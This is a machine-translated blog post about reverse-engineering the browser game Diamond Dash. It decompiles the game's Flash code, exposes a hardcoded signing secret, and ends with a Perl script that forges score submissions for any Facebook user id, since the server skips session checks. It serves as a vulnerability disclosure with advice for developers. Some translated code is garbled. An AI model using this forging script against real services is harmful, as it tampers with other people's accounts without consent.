📜 ⬆️ ⬇️

Diamond Dash, or how not to protect your online applications

I do not like to play and play. But I was always interested in how they work and what vulnerabilities they have, what they transmit to the server. Already before on Habré there were articles on the topic of vulnerabilities of the game Diamond Dash,
Diamond Dash again
Writing a macro bot for the browser game

I was also interested in this game, I decided to understand it.
Looking ahead, I will say that as a result of researching the game, a script was written that can raise the rating for any (!!!) person and game, and for this it is enough to know this person’s id in facebook.


In order to successfully transfer data to the server, in addition to the data itself, it is necessary to transfer the current absolute time and some mysterious signature to the POST request path.
The normal query after the end of the game looks like this:
')
POST / game / eor /? Timestamp = 1328793172978 & signature = ktVfjD3VFg2EG2GNiBlTgVnBg4TZJ3-DGkbAsFuWirw% 3D & session = 1100447b5bb0d01c14a974bc63318d12 api_verver = 1100447b5bb0d01c14a974bc63318d12 api_verver = 1100447b5bb0d01c14a974bc63318d12 and api_verver = 130044b5bb0d01c14a974bc63318d12
Host: dd.wooga.com
Connection: keep-alive
Content-Length: 136
Origin: http://cdn-dd.wooga.com
User-Agent: Mozilla / 5.0 (X11; Linux i686) AppleWebKit / 535.7 (KHTML, like Gecko) Chrome / 16.0.912.77 Safari / 535.7
content-type: application / json
Accept: * / *
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU, ru; q = 0.8, en-US; q = 0.6, en; q = 0.4
Accept-Charset: windows-1251, utf-8; q = 0.7, *; q = 0.3

{"fireballs_used": 0, "xp": 75, "sound": true, "gems_removed": 65, "score": 19430, "level": 100, "plasma_bursts_used": 0, "user_id": "My Yiddish "}


After reading the above articles, I tried to send the desired data to the server, and expected that the server would generate the signature parameter for me, but no, all he said to me: Signature mismatch!

The next step was to study the source code of the game. So, stop. What other source code? o_o. Indeed, there are no source codes for the game, but it is written in ActionScript, and for this wonderful language there are equally remarkable decompilers. So historically, I use Trillix, although there are many different flash binary decompilers and there was even a review in Habré.

So, the source code.
The Google Chrome browser’s built-in development tools allow you to see everything that the page loads, in particular from the list of requests, flashed and such cdn-dd.wooga.com/assets/DiamondDash-fe7222a63919abae69ca44d4ac0ac97c.swf that the game itself can be guessed.

after several hours of interesting reading of the source, such interesting places were found in the code:
internal function extendUrl ( ) : void
{
var loc1: * = net. wooga . diamonddash . shared . util . getTimestamp ( ) ;
var loc2: * = net. wooga . diamonddash . service . util . generateRequestSignature ( loc1 + this . userId + this ._requestDetails. requestData ) ;
loc2 = escape ( loc2 ) ;
this ._requestDetails. url = this ._requestDetails. url + ( "? timestamp =" + loc1 + "& signature =" + loc2 + "& session =" + this . sessionId + "& api_version = 2" ) ;
return ;
}



public function generateRequestSignature ( arg1: String ) : String
{
var loc1: * = new com. hurlant . crypto . hash . HMAC ( new com. Hurlant . Crypto . Hash . SHA256 ( ) ) ;
var loc2: * = new flash. utils . ByteArray ( ) ;
loc2. writeUTFBytes ( net. wooga . diamonddash . service . SHARED_SECRET ) ;
var loc3: * ;
( loc3 = new flash. utils . ByteArray ( ) ) . writeUTFBytes ( arg1 ) ;
var loc4: * ;
return loc4 = ( loc4 = ( loc4 = com. hurlant . util . Base64 . encodeByteArray ( loc1. compute ( loc2, loc3 ) ) ) . replace ( new RegExp ( " \ + " , "g" ) , "-" ) ) . replace ( new RegExp ( " \ / " , "g" ) , "_" ) ;
}


package net. wooga . diamonddash . service
{
public const SHARED_SECRET: String = "foeD4ktl2gdoDdle" ;
}


From these sections of the code you can see how to generate a signature:
base64(SHA256(_ + id_ + _, SHARED_SECRET)).
after that another replacement + on - and \ on /.

Checked - signed, the request was successful.

The next thing I wanted to do was write a minimal, successful query. the result is the following:

POST http://dd.wooga.com/game/eor/?timestamp=$time&signature=$r%3D&api_version=2 HTTP / 1.1
Host: dd.wooga.com
content-type: application / json

$ data


And, oh, horror !!! there is no session id parameter !!! that is, authentication is not actually performed, and all incoming requests are checked only for the signature and data. This means that in the user_id request field you can specify anyone's id, and raise the rating to anyone without the participation of this user.

Here is such a story of my research of the DiamondDash game.
I want to advise all developers to always think about security, and never trust what comes to your server from the outside world. Fully protected from hacking is impossible, but you can make the analysis of the code not worth it. In this game, it would still be worthwhile to check the correctness of the session parameter, well, and an excellent method of protection - after compiling the program, replace the names of classes, methods and fields, so that the code would lose its meaningfulness.
In conclusion, the complete request execution code:

#! / usr / bin / perl -w

use LWP :: UserAgent ;
use Digest :: SHA qw ( hmac_sha256_base64 ) ;

$ ua = new LWP :: UserAgent ;
$ userID = "123456789123456" ;
$ time = time ;

$ data =
qq # {"plasma_bursts_used": 0, "score": 10,000,000, "level": 100, "gems_removed": 165, "user_id": "$ userID", "sound": true, "xp": 100, "fireballs_used ":one}#;

$ r = hmac_sha256_base64 ( $ time . $ userID . $ data , "foeD4ktl2gdoDdle" ) ;
$ r = ~ s / ± / g ;
$ r = ~ s / \ // _ / g ;

$ req =
qq #POST http://dd.wooga.com/game/eor/?timestamp=$time&signature=$r%3D&api_version=2 HTTP / 1.1
Host : dd . wooga . com
content - type : application / json

$ data #;

$ req = HTTP :: Request -> parse ( $ req ) ;

print $ ua -> simple_request ( $ req ) -> as_string ( ) ;


Source: https://habr.com/ru/post/137913/


All Articles